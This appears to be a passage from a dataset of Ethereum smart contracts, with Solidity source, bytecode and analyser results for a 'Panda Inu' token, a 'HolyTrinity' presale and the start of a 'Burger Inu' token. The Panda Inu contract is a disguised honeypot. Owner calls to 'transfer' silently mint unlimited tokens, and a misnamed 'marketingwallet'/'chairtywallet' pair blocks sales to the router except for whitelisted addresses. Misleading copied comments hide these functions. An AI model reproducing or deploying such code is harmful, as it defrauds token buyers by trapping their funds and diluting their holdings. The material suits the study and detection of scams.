}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.10;
contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function marketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function chairtywallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
}
contract PandaInu is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 1000000000000 * 10 ** 18;
constructor () ERC20(unicode'Panda Inu','PANDORI') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063cdc9f33c14610243578063dd62ed3e1461025657600080fd5b8063715018a6146101cd5780637c557b10146101d75780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806370a08231146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610af4565b60405180910390f35b61012b610126366004610b65565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610b8f565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b61019f366004610b65565b6103ee565b61013f6101b2366004610bcb565b6001600160a01b031660009081526004602052604090205490565b6101d5610425565b005b6101d56101e5366004610bcb565b610499565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026104e5565b61012b61022b366004610b65565b6104f4565b61012b61023e366004610b65565b61058f565b6101d5610251366004610bfc565b61069b565b61013f610264366004610cc1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606007805461029e90610cf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610cf4565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e338484610709565b5060015b92915050565b600061034584848461082d565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103cf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103e385336103de8685610d45565b610709565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103de908690610d5c565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103c690610d74565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016103c690610d74565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60606008805461029e90610cf4565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c6565b61058533856103de8685610d45565b5060019392505050565b600080546001600160a01b0316331480156105b1575060095460ff1615156001145b156105d4576105c2335b848461082d565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156105f1575060095460ff16155b1561068a576006546106039083610a40565b6006556001600160a01b0383166000908152600460205260409020546106299083610a40565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061067a9086815260200190565b60405180910390a3506001610332565b610693336105bb565b506001610332565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016103c690610d74565b60005b8151811015610705576106f38282815181106106e6576106e6610da9565b6020026020010151610aa6565b806106fd81610dbf565b9150506106c8565b5050565b6001600160a01b03831661076b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b6001600160a01b0382166107cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c6565b6001600160a01b0382166108f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c6565b6001546001600160a01b038381169116141561092e576001600160a01b03831660009081526003602052604090205460ff1661092e57600080fd5b6001600160a01b038316600090815260046020526040902054818110156109a65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103c6565b6109b08282610d45565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109e6908490610d5c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3291815260200190565b60405180910390a350505050565b600080610a4d8385610d5c565b905083811015610a9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c6565b9392505050565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016103c690610d74565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600060208083528351808285015260005b81811015610b2157858101830151858201604001528201610b05565b81811115610b33576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b6057600080fd5b919050565b60008060408385031215610b7857600080fd5b610b8183610b49565b946020939093013593505050565b600080600060608486031215610ba457600080fd5b610bad84610b49565b9250610bbb60208501610b49565b9150604084013590509250925092565b600060208284031215610bdd57600080fd5b610a9f82610b49565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610c0f57600080fd5b823567ffffffffffffffff80821115610c2757600080fd5b818501915085601f830112610c3b57600080fd5b813581811115610c4d57610c4d610be6565b8060051b604051601f19603f83011681018181108582111715610c7257610c72610be6565b604052918252848201925083810185019188831115610c9057600080fd5b938501935b82851015610cb557610ca685610b49565b84529385019392850192610c95565b98975050505050505050565b60008060408385031215610cd457600080fd5b610cdd83610b49565b9150610ceb60208401610b49565b90509250929050565b600181811c90821680610d0857607f821691505b60208210811415610d2957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610d5757610d57610d2f565b500390565b60008219821115610d6f57610d6f610d2f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610dd357610dd3610d2f565b506001019056fea264697066735822122056d15913d15ec5ffeb699eb003e071c379ddb5daa71a203e062aae663449951a64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 9,816 |
0xa64331057c5cc2fd666e76a7c4c62be9d679ff06 | /*
HolyTrinity Presale SmartContract
*/
pragma solidity ^0.7.0;
//SPDX-License-Identifier: UNLICENSED
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function unPauseTransferForever() external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract HolyTrinityPresale is Context, ReentrancyGuard {
using SafeMath for uint;
IERC20 public ABS;
uint public tokensBought;
bool public isStopped = false;
bool public presaleStarted = false;
address payable owner;
address public pool;
uint256 public ethSent;
uint256 constant tokensPerETH = 116000;
mapping(address => uint) ethSpent;
modifier onlyOwner() {
require(msg.sender == owner, "You are not the owner");
_;
}
constructor() {
owner = msg.sender;
}
receive() external payable {
buyTokens();
}
function setABS(IERC20 addr) external onlyOwner nonReentrant {
//require(ABS == IERC20(address(0)), "You can set the address only once");
ABS = addr;
}
function startPresale() external onlyOwner {
presaleStarted = true;
}
function pausePresale() external onlyOwner {
presaleStarted = false;
}
function returnUnsoldTokensToOwner(uint256 amount) external onlyOwner {
ABS.transfer(msg.sender, amount);
}
function buyTokens() public payable nonReentrant {
require(msg.sender == tx.origin);
require(presaleStarted == true, "Presale is paused, do not send ETH");
require(ABS != IERC20(address(0)), "Main contract address not set");
require(!isStopped, "Presale stopped by contract, do not send ETH");
// You could add here a reentry guard that someone doesnt buy twice
// like
//require (ethSpent[msg.sender] <= 1 ether);
require(msg.value >= 0.99 ether, "You sent less than 1 ETH");
//HolyTrinity: 1 ETH limit
//require(msg.value <= 1 ether, "You sent more than 1 ETH");
require(msg.value <= 1 ether, "You sent more than 1 ETH");
//HolyTrinity: 50 ETH presale cap
require(ethSent < 50 ether, "Hard cap reached");
require (msg.value.add(ethSent) <= 50 ether, "Hardcap reached");
//HolyTrinity: 1 ETH limit
require(ethSpent[msg.sender].add(msg.value) <= 1 ether, "You cannot buy more than 1 ETH");
uint256 tokens = msg.value.mul(tokensPerETH)/1e9;
require(ABS.balanceOf(address(this)) >= tokens, "Not enough tokens in the contract");
ethSpent[msg.sender] = ethSpent[msg.sender].add(msg.value);
tokensBought = tokensBought.add(tokens);
ethSent = ethSent.add(msg.value);
ABS.transfer(msg.sender, tokens);
}
function userEthSpenttInPresale(address user) external view returns(uint){
return ethSpent[user];
}
function claimTeamETH() external onlyOwner {
uint256 amountETH = address(this).balance;
owner.transfer(amountETH);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | 0x6080604052600436106100c65760003560e01c8063732783ac1161007f578063cbf4efa111610059578063cbf4efa11461020c578063d0febe4c1461023f578063d7443eba14610247578063eca38e0c1461025c576100d5565b8063732783ac146101a65780637870c61c146101cd57806396e1bb21146101f7576100d5565b806304549d6f146100da57806304c98b2b14610103578063070f5c091461011857806316f0115b1461012d5780633f683b6a1461015e5780634a36a9c014610173576100d5565b366100d5576100d3610271565b005b600080fd5b3480156100e657600080fd5b506100ef610754565b604080519115158252519081900360200190f35b34801561010f57600080fd5b506100d3610762565b34801561012457600080fd5b506100d36107d0565b34801561013957600080fd5b5061014261083a565b604080516001600160a01b039092168252519081900360200190f35b34801561016a57600080fd5b506100ef610849565b34801561017f57600080fd5b506100d36004803603602081101561019657600080fd5b50356001600160a01b0316610852565b3480156101b257600080fd5b506101bb61092c565b60408051918252519081900360200190f35b3480156101d957600080fd5b506100d3600480360360208110156101f057600080fd5b5035610932565b34801561020357600080fd5b506100d3610a12565b34801561021857600080fd5b506101bb6004803603602081101561022f57600080fd5b50356001600160a01b0316610ab3565b6100d3610271565b34801561025357600080fd5b50610142610ace565b34801561026857600080fd5b506101bb610add565b600260005414156102c9576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026000553332146102da57600080fd5b60035460ff6101009091041615156001146103265760405162461bcd60e51b8152600401808060200182810382526022815260200180610c0e6022913960400191505060405180910390fd5b6001546001600160a01b0316610383576040805162461bcd60e51b815260206004820152601d60248201527f4d61696e20636f6e74726163742061646472657373206e6f7420736574000000604482015290519081900360640190fd5b60035460ff16156103c55760405162461bcd60e51b815260040180806020018281038252602c815260200180610ba0602c913960400191505060405180910390fd5b670dbd2fc137a30000341015610422576040805162461bcd60e51b815260206004820152601860248201527f596f752073656e74206c657373207468616e2031204554480000000000000000604482015290519081900360640190fd5b670de0b6b3a764000034111561047f576040805162461bcd60e51b815260206004820152601860248201527f596f752073656e74206d6f7265207468616e2031204554480000000000000000604482015290519081900360640190fd5b6802b5e3af16b1880000600554106104d1576040805162461bcd60e51b815260206004820152601060248201526f12185c990818d85c081c995858da195960821b604482015290519081900360640190fd5b6802b5e3af16b18800006104f060055434610ae390919063ffffffff16565b1115610535576040805162461bcd60e51b815260206004820152600f60248201526e12185c9918d85c081c995858da1959608a1b604482015290519081900360640190fd5b33600090815260066020526040902054670de0b6b3a7640000906105599034610ae3565b11156105ac576040805162461bcd60e51b815260206004820152601e60248201527f596f752063616e6e6f7420627579206d6f7265207468616e2031204554480000604482015290519081900360640190fd5b6000633b9aca006105c0346201c520610b46565b816105c757fe5b600154604080516370a0823160e01b8152306004820152905193909204935083926001600160a01b03909116916370a08231916024808301926020929190829003018186803b15801561061957600080fd5b505afa15801561062d573d6000803e3d6000fd5b505050506040513d602081101561064357600080fd5b505110156106825760405162461bcd60e51b8152600401808060200182810382526021815260200180610bed6021913960400191505060405180910390fd5b3360009081526006602052604090205461069c9034610ae3565b336000908152600660205260409020556002546106b99082610ae3565b6002556005546106c99034610ae3565b6005556001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561072057600080fd5b505af1158015610734573d6000803e3d6000fd5b505050506040513d602081101561074a57600080fd5b5050600160005550565b600354610100900460ff1681565b6003546201000090046001600160a01b031633146107bf576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b6003805461ff001916610100179055565b6003546201000090046001600160a01b0316331461082d576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b6003805461ff0019169055565b6004546001600160a01b031681565b60035460ff1681565b6003546201000090046001600160a01b031633146108af576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b60026000541415610907576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091178155600055565b60025481565b6003546201000090046001600160a01b0316331461098f576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156109e357600080fd5b505af11580156109f7573d6000803e3d6000fd5b505050506040513d6020811015610a0d57600080fd5b505050565b6003546201000090046001600160a01b03163314610a6f576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b60035460405147916201000090046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610aaf573d6000803e3d6000fd5b5050565b6001600160a01b031660009081526006602052604090205490565b6001546001600160a01b031681565b60055481565b600082820183811015610b3d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b600082610b5557506000610b40565b82820282848281610b6257fe5b0414610b3d5760405162461bcd60e51b8152600401808060200182810382526021815260200180610bcc6021913960400191505060405180910390fdfe50726573616c652073746f7070656420627920636f6e74726163742c20646f206e6f742073656e6420455448536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774e6f7420656e6f75676820746f6b656e7320696e2074686520636f6e747261637450726573616c65206973207061757365642c20646f206e6f742073656e6420455448a26469706673582212207bbf0a03254b0e8a172f1c22fbce01de4593672f379355d5985b13489e05ec0064736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,817 |
0xa93a8dd8f03268107199e9dfb5ade26da806e45b | /*
Welcome to Burger Inu token, for hungry doggos
Telegram: https://t.me/burgerinu
Twitter: https://twitter.com/BurgerInu
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
